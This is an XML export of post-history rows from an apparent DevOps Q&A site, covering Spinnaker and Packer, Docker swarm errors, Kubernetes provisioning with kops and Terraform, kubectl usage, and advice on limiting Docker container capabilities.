  <row Id="6196" PostHistoryTypeId="1" PostId="1964" RevisionGUID="0c28f666-eec6-4d3f-b712-3fcb5fd81dd4" CreationDate="2017-09-08T11:46:02.387" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6197" PostHistoryTypeId="2" PostId="1965" RevisionGUID="fd1890df-bda4-4a42-9069-20bda1163dee" CreationDate="2017-09-08T11:58:56.917" UserId="210" Text="I am confused. Does Spinnaker use HashiCorp's Packer for baking or is it another tool? The reason for asking this that a folder called packer resides in the github repo of rosco https://github.com/spinnaker/rosco/blob/master/rosco-web/config/packer/docker.json" ContentLicense="CC BY-SA 3.0" />
  <row Id="6198" PostHistoryTypeId="1" PostId="1965" RevisionGUID="fd1890df-bda4-4a42-9069-20bda1163dee" CreationDate="2017-09-08T11:58:56.917" UserId="210" Text="Does Spinnaker's rosco use HashiCorp's packer or is it another tool?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6199" PostHistoryTypeId="3" PostId="1965" RevisionGUID="fd1890df-bda4-4a42-9069-20bda1163dee" CreationDate="2017-09-08T11:58:56.917" UserId="210" Text="&lt;untagged&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6200" PostHistoryTypeId="2" PostId="1966" RevisionGUID="3293ab44-b368-40a5-8286-f665e22bb0b5" CreationDate="2017-09-08T12:01:29.623" UserId="210" Text="I have read https://www.packer.io/docs/builders/docker.html, but I do not see the advantage of using Packer over docker build or docker-compose up --build for building docker images" ContentLicense="CC BY-SA 3.0" />
  <row Id="6201" PostHistoryTypeId="1" PostId="1966" RevisionGUID="3293ab44-b368-40a5-8286-f665e22bb0b5" CreationDate="2017-09-08T12:01:29.623" UserId="210" Text="What are reasons for using HashiCorp's packer to build docker images instead of using docker build?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6202" PostHistoryTypeId="3" PostId="1966" RevisionGUID="3293ab44-b368-40a5-8286-f665e22bb0b5" CreationDate="2017-09-08T12:01:29.623" UserId="210" Text="&lt;docker&gt;&lt;packer&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6203" PostHistoryTypeId="2" PostId="1967" RevisionGUID="746283c6-541a-43d7-9ce8-fdc21042841d" CreationDate="2017-09-08T12:11:48.987" UserId="13" Text="From [spinnaker own documentation](https://www.spinnaker.io/reference/architecture/)&#xD;&#xA;&#xD;&#xA;&gt; Rosco is the bakery. It is used to produce machine images (e.g. GCE&#xD;&#xA;&gt; images, AWS AMIs, Azure VM images). It presently wraps packer, but&#xD;&#xA;&gt; will shortly be expanded to support additional mechanisms for&#xD;&#xA;&gt; producing images.&#xD;&#xA;&#xD;&#xA;So yes, rosco use packer." ContentLicense="CC BY-SA 3.0" />
  <row Id="6204" PostHistoryTypeId="5" PostId="1964" RevisionGUID="fd0334d2-6c10-4db8-bbdd-4564da3e534b" CreationDate="2017-09-08T12:13:02.093" UserId="210" Comment="added 52 characters in body" Text="Use this tag if the question is about Netflix' Titus" ContentLicense="CC BY-SA 3.0" />
  <row Id="6205" PostHistoryTypeId="24" PostId="1964" RevisionGUID="fd0334d2-6c10-4db8-bbdd-4564da3e534b" CreationDate="2017-09-08T12:13:02.093" Comment="Proposed by 210 approved by 40, 13 edit id of 437" ContentLicense="CC BY-SA 3.0" />
  <row Id="6206" PostHistoryTypeId="5" PostId="1967" RevisionGUID="24421e6d-a6c1-4bf5-8d56-2e854535dd3d" CreationDate="2017-09-08T12:23:55.617" UserId="210" Comment="added missing link" Text="From [spinnaker own documentation](https://www.spinnaker.io/reference/architecture/)&#xD;&#xA;&#xD;&#xA;&gt; Rosco is the bakery. It is used to produce machine images (e.g. GCE&#xD;&#xA;&gt; images, AWS AMIs, Azure VM images). It presently wraps [packer][1], but&#xD;&#xA;&gt; will shortly be expanded to support additional mechanisms for&#xD;&#xA;&gt; producing images.&#xD;&#xA;&#xD;&#xA;So yes, rosco uses HashiCorp's packer.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.packer.io/" ContentLicense="CC BY-SA 3.0" />
  <row Id="6207" PostHistoryTypeId="10" PostId="1966" RevisionGUID="7fadedb8-4459-4997-94a2-15b97b5c7f42" CreationDate="2017-09-08T12:31:02.307" UserId="13" Comment="101" Text="{&quot;OriginalQuestionIds&quot;:[1965],&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;},{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="6208" PostHistoryTypeId="5" PostId="1967" RevisionGUID="fbb0ab1e-2199-4a9b-be89-e4c7440d4396" CreationDate="2017-09-08T12:32:10.020" UserId="13" Comment="added 177 characters in body" Text="From [spinnaker own documentation](https://www.spinnaker.io/reference/architecture/)&#xD;&#xA;&#xD;&#xA;&gt; Rosco is the bakery. It is used to produce machine images (e.g. GCE&#xD;&#xA;&gt; images, AWS AMIs, Azure VM images). It presently wraps [packer][1], but&#xD;&#xA;&gt; will shortly be expanded to support additional mechanisms for&#xD;&#xA;&gt; producing images.&#xD;&#xA;&#xD;&#xA;So yes, rosco uses HashiCorp's packer.&#xD;&#xA;&#xD;&#xA;The main reason to use packer is that you just need to change the provider used to create a docker image or an AWS ami or an Azure image and keep your building step identical.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.packer.io/" ContentLicense="CC BY-SA 3.0" />
  <row Id="6209" PostHistoryTypeId="11" PostId="1966" RevisionGUID="c32262b1-73d6-41d9-ad23-14b61d4ea3dc" CreationDate="2017-09-08T12:49:53.003" UserId="13" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="6210" PostHistoryTypeId="2" PostId="1968" RevisionGUID="e9266887-46aa-4b27-8b79-0d414b0aebe2" CreationDate="2017-09-08T12:54:52.880" UserId="13" Text="Mainly the reason is to keep your image building steps intact if you get to move from docker to another image building system. &#xD;&#xA;&#xD;&#xA;Packer does support a bunch of providers ([builders][1] in packer terminology), and changing the target &quot;container&quot; is just a matter of changing the builder (or using multiple builders in the same packer file), the build steps (provisionner step) are kept intact and will be the same if you build a docker image or an AWS ami for example (you can even build both at the same time).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.packer.io/docs/builders/index.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="6211" PostHistoryTypeId="6" PostId="1958" RevisionGUID="a2c2e494-e79e-43a7-81d6-bac88b950a7b" CreationDate="2017-09-08T13:25:46.087" UserId="60" Comment="edited tags" Text="&lt;deployment&gt;&lt;python&gt;&lt;performance&gt;&lt;virtualenv&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6213" PostHistoryTypeId="2" PostId="1969" RevisionGUID="7f4811e7-a606-4638-bcb5-c911a5a9b131" CreationDate="2017-09-08T17:01:15.353" UserId="707" Text="Consider the following setup:&#xD;&#xA;&#xD;&#xA;Three hosts in the same network:&#xD;&#xA;&#xD;&#xA; - Host A - SLES &#xD;&#xA; - Host B - Ubuntu&#xD;&#xA; - Host C - Ubuntu&#xD;&#xA;&#xD;&#xA;Then, the following has worked:&#xD;&#xA;&#xD;&#xA; - Init swarm on A&#xD;&#xA; - Join swarm at B, make B a manager&#xD;&#xA;&#xD;&#xA;The following is however not working:&#xD;&#xA;&#xD;&#xA; - Join swarm at C as worker with token issued from A&#xD;&#xA; - Join swarm at C as worker with token issued from B&#xD;&#xA;&#xD;&#xA;In both cases we get the same error:&#xD;&#xA;&#xD;&#xA;    Error response from daemon: could not find local IP address: &#xD;&#xA;    dial udp: address udp/2377​: unknown port&#xD;&#xA;&#xD;&#xA;Honestly, I have even no idea how to interpret this message.&#xD;&#xA;&#xD;&#xA;Any ideas?..&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6214" PostHistoryTypeId="1" PostId="1969" RevisionGUID="7f4811e7-a606-4638-bcb5-c911a5a9b131" CreationDate="2017-09-08T17:01:15.353" UserId="707" Text="Docker daemon error on joining swarm node - could not find local IP address - unknown port" ContentLicense="CC BY-SA 3.0" />
  <row Id="6215" PostHistoryTypeId="3" PostId="1969" RevisionGUID="7f4811e7-a606-4638-bcb5-c911a5a9b131" CreationDate="2017-09-08T17:01:15.353" UserId="707" Text="&lt;docker&gt;&lt;docker-swarm&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6216" PostHistoryTypeId="5" PostId="1962" RevisionGUID="613f08c6-420b-48da-908d-a06094037eda" CreationDate="2017-09-08T18:35:06.567" UserId="2845" Comment="added 143 characters in body" Text="I read an article from [Medium Titled &quot;The Evolution of Container Usage at Netflix&quot;](https://medium.com/netflix-techblog/the-evolution-of-container-usage-at-netflix-3abfc096781b) and watched a couple of videos on the topic, but it is unclear to me why Titus (referenced in these) should be used. Is it different than Kubernetes or should it be used in concert with Kubernetes?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6217" PostHistoryTypeId="2" PostId="1970" RevisionGUID="f8dfa9cb-c67c-45e7-ad2b-b90e1a2c6320" CreationDate="2017-09-08T18:58:32.640" UserId="4271" Text="Titus is been kept in the dark, for now, I guess mostly because we are kind of used to see these cool tools from [Netflix in the OSS scene][1], not the case for Titus, yet. If you want to know more about what Netflix's plan is for Titus, I think [this][2] is worth reading.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://netflix.github.io/&#xD;&#xA;  [2]: https://news.ycombinator.com/item?id=14528374" ContentLicense="CC BY-SA 3.0" />
  <row Id="6218" PostHistoryTypeId="2" PostId="1971" RevisionGUID="22069b72-be29-4b85-b6c7-a76c038c3b89" CreationDate="2017-09-08T19:04:33.493" UserId="4271" Text="If what you are looking for is a chef cookbook to manage MySQL, I would recommend checking [this][1] It is an officially maintained cookbook. Keep in mind that:&#xD;&#xA;&#xD;&#xA;&gt; This cookbook is concerned with the &quot;MySQL Community Server&quot;, particularly those shipped with F/OSS Unix and Linux distributions. It does not address forks or value-added repackaged MySQL distributions like MariaDB or Percona.&#xD;&#xA;&#xD;&#xA;I hope this could help.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/chef-cookbooks/mysql" ContentLicense="CC BY-SA 3.0" />
  <row Id="6220" PostHistoryTypeId="6" PostId="1962" RevisionGUID="ecaf4e63-cca7-4aea-802a-ccf00a217a84" CreationDate="2017-09-09T01:41:29.253" UserId="739" Comment="add terminology tag" Text="&lt;terminology&gt;&lt;titus&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6221" PostHistoryTypeId="24" PostId="1962" RevisionGUID="ecaf4e63-cca7-4aea-802a-ccf00a217a84" CreationDate="2017-09-09T01:41:29.253" Comment="Proposed by 739 approved by 46 edit id of 438" ContentLicense="CC BY-SA 3.0" />
  <row Id="6222" PostHistoryTypeId="2" PostId="1972" RevisionGUID="c8d76fb7-2c73-4932-b477-42b35257b21a" CreationDate="2017-09-09T19:29:32.863" UserId="4276" Text="At work we are currenly using a multi AZ Kubernetes cluster on AWS and we're using `kops` along with Terraform (`kops` generates the Terraform configuration files) to provision the cluster. What is not clear to me is if your intention is to run a single multi-cloud cluster or if you want to run multiple clusters in multiple clouds.&#xD;&#xA;&#xD;&#xA;Anyway, our current setup is a multi-master highly-available multi-AZ Kubernetes cluster. I'll try to explain step by step.&#xD;&#xA;&#xD;&#xA;The first thing in order to create the cluster is to generate the Terraform configuration with `kops` (you could directly apply the changes in AWS by directly using `kops`, but in our case we think it's best to keep the Terraform files versioned in git, to be able to change details about this configuration and inspect them, also). For instance, this could be the command we used:&#xD;&#xA;&#xD;&#xA;```kops create cluster \&#xD;&#xA;--name=my_new_cluster \&#xD;&#xA;--ssh-public-key=k8s.pub \&#xD;&#xA;--dns-zone=&lt;your-name&gt;.&lt;your-domain&gt; \&#xD;&#xA;--cloud=aws \&#xD;&#xA;--master-size=t2.medium \&#xD;&#xA;--node-size=t2.medium \&#xD;&#xA;--vpc=&lt;vpc-id&gt; \&#xD;&#xA;--zones=us-east-1a,us-east-1b,us-east-1c \&#xD;&#xA;--master-zones=us-east-1a,us-east-1b,us-east-1c \&#xD;&#xA;--out=my_new_cluster \&#xD;&#xA;--target=terraform```&#xD;&#xA;&#xD;&#xA;This creates the Terraform configurations (in the directory specified by the `--out` flag) for a Kubernetes cluster which nodes and masters are distributed along 3 Availability Zones (us-east-1a, us-east-1b and us-east-1c). This implies creating:&#xD;&#xA;&#xD;&#xA; * all necessary subnets, security groups and route tables&#xD;&#xA; * IAM roles&#xD;&#xA; * AWS Auto Scaling Groups to manage the cluster nodes and masters (it's the magic of all this, they're the ones that maintain the high availability of the cluster by launching extra nodes as traffic increases, and replaces faulty ones)&#xD;&#xA; * all EC2 instances and EBS volumes&#xD;&#xA; * Route53 DNS records to refer to the cluster API and internal DNS for k8s to communicate with pods.&#xD;&#xA;&#xD;&#xA;`kops` uses `kubectl` internally to create the cluster and all necessary configurations in Kubernetes.&#xD;&#xA;&#xD;&#xA;After that, you could `terraform apply` the configurations and watch it all go up in AWS. It's quite simple, really, but you have to learn how Terraform works. I've found it very intuitive.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;Later on, you may need to edit you cluster. There's a command: `kops edit cluster &lt;cluster-name&gt;` that let you do that. It's all configurations in  `yaml` format. I won't get into specifics but after some changes you may need to `kops rolling-update &lt;cluster&gt;` to apply them.&#xD;&#xA;&#xD;&#xA;Hope I've been clear.&#xD;&#xA;&#xD;&#xA;Regards." ContentLicense="CC BY-SA 3.0" />
  <row Id="6223" PostHistoryTypeId="5" PostId="1972" RevisionGUID="e65d1e2e-5263-4c80-9b98-6c469e7fbe76" CreationDate="2017-09-09T19:57:21.333" UserId="4276" Comment="Fixed inconsistency in placeholders" Text="At work we are currenly using a multi AZ Kubernetes cluster on AWS and we're using `kops` along with Terraform (`kops` generates the Terraform configuration files) to provision the cluster. What is not clear to me is if your intention is to run a single multi-cloud cluster or if you want to run multiple clusters in multiple clouds.&#xD;&#xA;&#xD;&#xA;Anyway, our current setup is a multi-master highly-available multi-AZ Kubernetes cluster. I'll try to explain step by step.&#xD;&#xA;&#xD;&#xA;The first thing in order to create the cluster is to generate the Terraform configuration with `kops` (you could directly apply the changes in AWS by directly using `kops`, but in our case we think it's best to keep the Terraform files versioned in git, to be able to change details about this configuration and inspect them, also). For instance, this could be the command we used:&#xD;&#xA;&#xD;&#xA;```kops create cluster \&#xD;&#xA;--name=my_new_cluster \&#xD;&#xA;--ssh-public-key=k8s.pub \&#xD;&#xA;--dns-zone=&lt;your-name&gt;.&lt;your-domain&gt; \&#xD;&#xA;--cloud=aws \&#xD;&#xA;--master-size=t2.medium \&#xD;&#xA;--node-size=t2.medium \&#xD;&#xA;--vpc=&lt;vpc-id&gt; \&#xD;&#xA;--zones=us-east-1a,us-east-1b,us-east-1c \&#xD;&#xA;--master-zones=us-east-1a,us-east-1b,us-east-1c \&#xD;&#xA;--out=my_new_cluster \&#xD;&#xA;--target=terraform```&#xD;&#xA;&#xD;&#xA;This creates the Terraform configurations (in the directory specified by the `--out` flag) for a Kubernetes cluster which nodes and masters are distributed along 3 Availability Zones (us-east-1a, us-east-1b and us-east-1c). This implies creating:&#xD;&#xA;&#xD;&#xA; * all necessary subnets, security groups and route tables&#xD;&#xA; * IAM roles&#xD;&#xA; * AWS Auto Scaling Groups to manage the cluster nodes and masters (it's the magic of all this, they're the ones that maintain the high availability of the cluster by launching extra nodes as traffic increases, and replaces faulty ones)&#xD;&#xA; * all EC2 instances and EBS volumes&#xD;&#xA; * Route53 DNS records to refer to the cluster API and internal DNS for k8s to communicate with pods.&#xD;&#xA;&#xD;&#xA;`kops` uses `kubectl` internally to create the cluster and all necessary configurations in Kubernetes.&#xD;&#xA;&#xD;&#xA;After that, you could `terraform apply` the configurations and watch it all go up in AWS. It's quite simple, really, but you have to learn how Terraform works. I've found it very intuitive.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;Later on, you may need to edit you cluster. There's a command: `kops edit cluster &lt;cluster-name&gt;` that let you do that. It's all configurations in  `yaml` format. I won't get into specifics but after some changes you may need to `kops rolling-update &lt;cluster-name&gt;` to apply them.&#xD;&#xA;&#xD;&#xA;Hope I've been clear.&#xD;&#xA;&#xD;&#xA;Regards." ContentLicense="CC BY-SA 3.0" />
  <row Id="6224" PostHistoryTypeId="2" PostId="1973" RevisionGUID="0b158e10-e651-4d95-a2ef-1b54a603e417" CreationDate="2017-09-09T22:09:02.693" UserId="4276" Text="Let's start from the beginning.&#xD;&#xA;&#xD;&#xA;First, I'll answer the original question, the one in the title.&#xD;&#xA;&#xD;&#xA;When to put all containers in a pod and when to deploy them individually?&#xD;&#xA;-&#xD;&#xA;&#xD;&#xA;This depends on what your app does. For instance (this is an actual example from the company I work for), for a web application, you may have a pod which runs three containers:&#xD;&#xA;&#xD;&#xA; - app: the actual app with its code&#xD;&#xA; - nginx: serves all the requests&#xD;&#xA; - heka: a log service which proxies the logs to wherever you want them&#xD;&#xA;&#xD;&#xA;The reason for grouping this three containers within a single pod is simple: a pod assures you the containers run in the same Kubernetes node, this is to have the least possible latency with requests being interchanged along the three containers.&#xD;&#xA;&#xD;&#xA;That being said, this is only an example, you could have different and multiple reasons for grouping containers in a pod, but I think this is the most common.&#xD;&#xA;&#xD;&#xA;With that being clarified, I follow to the question that you present in the body of your post.&#xD;&#xA;&#xD;&#xA;How do you access a single container within a pod?&#xD;&#xA;-&#xD;&#xA;&#xD;&#xA;This is simply using kubectl, I use the command like this:&#xD;&#xA;&#xD;&#xA;`kubectl exec -it &lt;pod-name&gt; -c=&lt;container-name&gt; -- /bin/bash`&#xD;&#xA;&#xD;&#xA;Suppose we want to access the `nginx` container inside our `my-app` pod; we would type this:&#xD;&#xA;&#xD;&#xA;`kubectl exec -it my-app -c=nginx -- /bin/bash`&#xD;&#xA;&#xD;&#xA;If you don't specify the container with the `-c` flag, it defaults to the first container that is in the Kubernetes `yaml` (I think). So when you say it was impossible to access a container, you actually did access a container (the default one), because a pod cannot be accessed, it is merely a collection of containers and its configurations.&#xD;&#xA;&#xD;&#xA;Hope I've been helpful." ContentLicense="CC BY-SA 3.0" />
  <row Id="6225" PostHistoryTypeId="2" PostId="1974" RevisionGUID="17f64e09-721b-4956-af2e-830fb00b5360" CreationDate="2017-09-09T22:57:05.317" UserId="4007" Text="one strategy is to put your playbook repo(s) thru a regular build/deploy pipeline, where you separate between &quot;nonrelease&quot; and &quot;release&quot;, for example by linking the master branch to &quot;release&quot; (most CI tools support this out of the box). Then you'd have two &quot;streams&quot; of artifacts you could deploy, one for release and one for non-release (or release candidate or whatever you'd like to call it). These can be auto-deployed to different folders inside Ansible tower and then picked up as different &quot;projects&quot;. That way youd have two &quot;instances&quot; of every playbook folder (or &quot;project&quot; as Tower calls them)." ContentLicense="CC BY-SA 3.0" />
  <row Id="6226" PostHistoryTypeId="5" PostId="1959" RevisionGUID="c1ab3809-3484-4859-85ed-4d7637f27a9e" CreationDate="2017-09-09T23:31:53.950" UserId="2846" Comment="Added more information on the request of the original poster." Text="Compared to just adding the user to the docker group the second links solution is not any more secure.&#xD;&#xA;&#xD;&#xA;Note how that page still can launch with the `--privileged` flag, and that it is running unconfined.&#xD;&#xA;&#xD;&#xA;`unconfined_u:unconfined_r:unconfined_t`&#xD;&#xA;&#xD;&#xA;This means that the container can access all resources including the hosts disks and hardware.  It is security through obscurity, which is not security.  Anyone who knows how to use `mknod` or walk the /sys and /proc trees could easily compromise the host and all containers with zero logging.&#xD;&#xA;&#xD;&#xA;The reality is that docker shifts both complexity and the security boundaries.  All users who can launch container or hit the API need to be restricted to trusted users in that security context.&#xD;&#xA;&#xD;&#xA;`--privileged` disables all apparmor and selinux policies which is actually far less secure than a native package.&#xD;&#xA;&#xD;&#xA;Namespaces are not a security function and depend on apparmor and selinux to enforce reasonable constraints.&#xD;&#xA;&#xD;&#xA;Docker notes this on this page.&#xD;&#xA;&#xD;&#xA;https://docs.docker.com/engine/security/security/#control-groups&#xD;&#xA;&#xD;&#xA;'First of all, only trusted users should be allowed to control your Docker daemon.'&#xD;&#xA;&#xD;&#xA;The security functions of docker/kube are not administrative boundaries like classical unix permissions, they are tools to prevent non-privileged containers from breaking out.&#xD;&#xA;&#xD;&#xA;In a docker world the administrative boundary becomes the host, and the selection and segmentation required to isolate applications or users within that context needs to be applied at that boundary.&#xD;&#xA;&#xD;&#xA;The benefits of this shift in complexity and responsibility generally outweigh the risks if implemented with those changes in mind.&#xD;&#xA;&#xD;&#xA;TLDR&#xD;&#xA;&#xD;&#xA;Docker API user == Sudo ALL user&#xD;&#xA;&#xD;&#xA;Running a container with the --privlaged flag == running a web service as suid or as the root user.&#xD;&#xA;&#xD;&#xA;**Edited per the OP's request for additional information**&#xD;&#xA;&#xD;&#xA;The referenced issue with breakout int he OP's edit was an non **uid0** privilege escalation.&#xD;&#xA;&#xD;&#xA;Unfortunately, due to the need to perform root only actions Docker needs to enable some capabilities so that apt/dnf can install packages etc...&#xD;&#xA;&#xD;&#xA;This need does pose a risk if production workloads are run in this default configuration and one should adopt the security principle of least privilege for production workloads.&#xD;&#xA;&#xD;&#xA;`--privileged` disables _apparmor/selinux_ and opens up _capabilities_&#xD;&#xA;&#xD;&#xA;I am using ubuntu but it may be useful to work through the following steps. First start a default container with _docker run -i --rm -t debian bash_&#xD;&#xA;&#xD;&#xA;From the parent host find the PID for bash using _ps_ and note that the process is owned _root_.  If you look in `/proc/$PID/status` you will see the contexts it is running under.&#xD;&#xA;&#xD;&#xA;    # egrep '^Cap(Prm|Inh|Eff)' /proc/16026/status&#xD;&#xA;     CapInh:	00000000a80425fb&#xD;&#xA;     CapPrm:	00000000a80425fb&#xD;&#xA;     CapEff:	00000000a80425fb&#xD;&#xA;&#xD;&#xA;You will want to refer to _man 7 man capabilities_ and _/usr/include/linux/capability.h_ for better info but a summer is&#xD;&#xA;&#xD;&#xA;CapInh = The Inherited capabilities (what docker provided)&#xD;&#xA;CapPrm = The capabilities due to permissions (inside the container OS)&#xD;&#xA;CapEff = The effective capabilities&#xD;&#xA;&#xD;&#xA;You can decode these to human readable form by running:&#xD;&#xA;&#xD;&#xA;    $ capsh --decode=00000000a80425fb&#xD;&#xA;&#xD;&#xA;Now do the same with `$ docker run -i --rm --privileged -t debian bash` and you will find that the effective capabilities are `0000003fffffffff`&#xD;&#xA;&#xD;&#xA;Also just do a `dir /dev` in both VM's and you will see just how much access a privileged container has.&#xD;&#xA;&#xD;&#xA;By looking at `/etc/apparmor.d/docker` for apparmor systems or the lables in SElinux you will see the implications.&#xD;&#xA;&#xD;&#xA;Going back to the principle of least privileges, I would ensure that my docker container is running process as a unprivileged user and with as few enabled capabilities as possible.&#xD;&#xA;&#xD;&#xA;As an example, you can test this by running it first by dropping all caps.&#xD;&#xA;&#xD;&#xA;    $ docker run -i --rm -t --cap-drop=all -t debian bash&#xD;&#xA;&#xD;&#xA;This can be validated through the `/proc/$PID/status` method above.&#xD;&#xA;&#xD;&#xA;    CapInh:	0000000000000000&#xD;&#xA;    CapPrm:	0000000000000000&#xD;&#xA;    CapEff:	0000000000000000&#xD;&#xA;&#xD;&#xA;Note it is all zeros, from CapInh.  Then if I had to enable features for the application I would use `--cap-add` _after_ the `--cap-drop=all`&#xD;&#xA;&#xD;&#xA;Example, `--cap-drop=all` will break ping:&#xD;&#xA;&#xD;&#xA;    # ping -c 1 www.google.com&#xD;&#xA;    ping: Lacking privilege for raw socket.&#xD;&#xA;&#xD;&#xA;So we can add the `cap_net_raw` cap. Docker expects the arguments with the `cap_` prefix removed so the command is `docker run -i --rm -t --cap-drop=all --cap-add=net_raw -t debian bash`&#xD;&#xA;&#xD;&#xA;    # ping -c 1 www.google.com&#xD;&#xA;    PING www.google.com (216.58.216.164): 56 data bytes&#xD;&#xA;    64 bytes from 216.58.216.164: icmp_seq=0 ttl=54 time=4.779 ms&#xD;&#xA;&#xD;&#xA;But be very careful adding them as an example.&#xD;&#xA;&#xD;&#xA;  cap_sys_module will allow a container to add or remove kernel modules from the parent host.&#xD;&#xA;&#xD;&#xA;  cap_sys_rawio will open memory and *all* block devices to attack&#xD;&#xA;&#xD;&#xA;  cap_sys_admin is super dangerous.&#xD;&#xA;&#xD;&#xA;So in this case I would see if you can make things run in this context.&#xD;&#xA;&#xD;&#xA;  $ docker run -i --rm -t --cap-drop=all -u nobody:nogroup -t debian bash&#xD;&#xA;&#xD;&#xA;Hopefully the robustness of apparmor and selinux profiles improves over time, but if that is not enough for your security needs you can look in there too.&#xD;&#xA;&#xD;&#xA;Really, avoiding the _--privileged_ flag and using principle of least privilege will make the most impact. Especially if you take advantage of the ephemeral nature of containers to keep packages up to date.&#xD;&#xA;&#xD;&#xA;If you need more Red Hat covers some basic seccomp options here.&#xD;&#xA;&#xD;&#xA;https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux_atomic_host/7/html/container_security_guide/linux_capabilities_and_seccomp" ContentLicense="CC BY-SA 3.0" />
  <row Id="6227" PostHistoryTypeId="2" PostId="1975" RevisionGUID="ae7d0d3f-f8c7-4828-a0d6-2f6dfc917030" CreationDate="2017-09-10T09:55:20.997" UserId="446" Text="It's different to Kubernetes in tgat it seeks to leverage existing AWS services instead of bolting on top. Kubernetes supports a number of cloud providers and contains a number of components that exist in AWS already.&#xA;&#xA;Although we're starting to see better kubernetes AWS integration and with AWS joining the cloud native foundation this is only going to get stronger.&#xA;&#xA;Titus seems to be an alternative to Kubernetes but its not available yet. My bet is AWS will strive to better integrate K8 and likely Titus won't take off even when it is released." ContentLicense="CC BY-SA 3.0" />
  <row Id="6228" PostHistoryTypeId="5" PostId="1973" RevisionGUID="07af1248-cf2b-4c78-a6fd-1d7eee638c81" CreationDate="2017-09-10T20:31:40.000" UserId="4276" Comment="improved formatting" Text="Let's start from the beginning.&#xD;&#xA;&#xD;&#xA;First, I'll answer the original question, the one in the title.&#xD;&#xA;&#xD;&#xA;When to put all containers in a pod and when to deploy them individually?&#xD;&#xA;-&#xD;&#xA;&#xD;&#xA;This depends on what your app does. For instance (this is an actual example from the company I work for), for a web application, you may have a pod which runs three containers:&#xD;&#xA;&#xD;&#xA; - app: the actual app with its code&#xD;&#xA; - nginx: serves all the requests&#xD;&#xA; - heka: a log service which proxies the logs to wherever you want them&#xD;&#xA;&#xD;&#xA;The reason for grouping this three containers within a single pod is simple: a pod assures you the containers run in the same Kubernetes node, this is to have the least possible latency with requests being interchanged along the three containers.&#xD;&#xA;&#xD;&#xA;That being said, this is only an example, you could have different and multiple reasons for grouping containers in a pod, but I think this is the most common.&#xD;&#xA;&#xD;&#xA;With that being clarified, I follow to the question that you present in the body of your post.&#xD;&#xA;&#xD;&#xA;How do you access a single container within a pod?&#xD;&#xA;-&#xD;&#xA;&#xD;&#xA;This is simply using kubectl, I use the command like this:&#xD;&#xA;&#xD;&#xA;`kubectl exec -it &lt;pod-name&gt; -c=&lt;container-name&gt; -- /bin/bash`&#xD;&#xA;&#xD;&#xA;Suppose we want to access the `nginx` container inside our `my-app` pod; we would type this:&#xD;&#xA;&#xD;&#xA;`kubectl exec -it my-app -c=nginx -- /bin/bash`&#xD;&#xA;&#xD;&#xA;If you don't specify the container with the `-c` flag, it defaults to the first container that is in the Kubernetes `yaml` (I think). So when you say it was impossible to access a container, you actually ***did*** access a container (the default one), because a pod cannot be accessed, it is merely a collection of containers and its configurations.&#xD;&#xA;&#xD;&#xA;Hope I've been helpful." ContentLicense="CC BY-SA 3.0" />
  <row Id="6229" PostHistoryTypeId="5" PostId="1975" RevisionGUID="5e8d7163-dcc4-4a76-8006-2ee8f6a18f91" CreationDate="2017-09-10T22:06:05.387" UserId="47" Comment="added 4 characters in body" Text="It's different to Kubernetes in that it seeks to leverage existing AWS services instead of bolting on top. Kubernetes supports a number of cloud providers and contains a number of components that exist in AWS already.&#xD;&#xA;&#xD;&#xA;Although we're starting to see better kubernetes AWS integration and with AWS joining the cloud native foundation this is only going to get stronger.&#xD;&#xA;&#xD;&#xA;Titus seems to be an alternative to Kubernetes but its not available yet. My bet is AWS will strive to better integrate K8 and likely Titus won't take off even when it is released." ContentLicense="CC BY-SA 3.0" />
  <row Id="6233" PostHistoryTypeId="4" PostId="1940" RevisionGUID="d852c1ee-7a8a-4bb5-bc9b-313a74f48bf5" CreationDate="2017-09-11T03:47:06.670" UserId="4234" Comment="edited title" Text="DevOps practice on AWS instances" ContentLicense="CC BY-SA 3.0" />
  <row Id="6234" PostHistoryTypeId="2" PostId="1976" RevisionGUID="9cb6e049-b51d-473e-b8b4-7a193de8d106" CreationDate="2017-09-11T08:46:39.677" UserId="707" Text="With Bamboo, a best practice for infrastructure management of agents seems to be using Docker: any time you need a new version of compiler or test tool, the path to deploy a modified version of an agent is very fast.&#xD;&#xA;&#xD;&#xA;How could this work with GitLab?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6235" PostHistoryTypeId="1" PostId="1976" RevisionGUID="9cb6e049-b51d-473e-b8b4-7a193de8d106" CreationDate="2017-09-11T08:46:39.677" UserId="707" Text="Mastering CI infrastructure changes with GitLab" ContentLicense="CC BY-SA 3.0" />
  <row Id="6236" PostHistoryTypeId="3" PostId="1976" RevisionGUID="9cb6e049-b51d-473e-b8b4-7a193de8d106" CreationDate="2017-09-11T08:46:39.677" UserId="707" Text="&lt;docker&gt;&lt;continuous-integration&gt;&lt;gitlab&gt;" ContentLicense="CC BY-SA 3.0" />
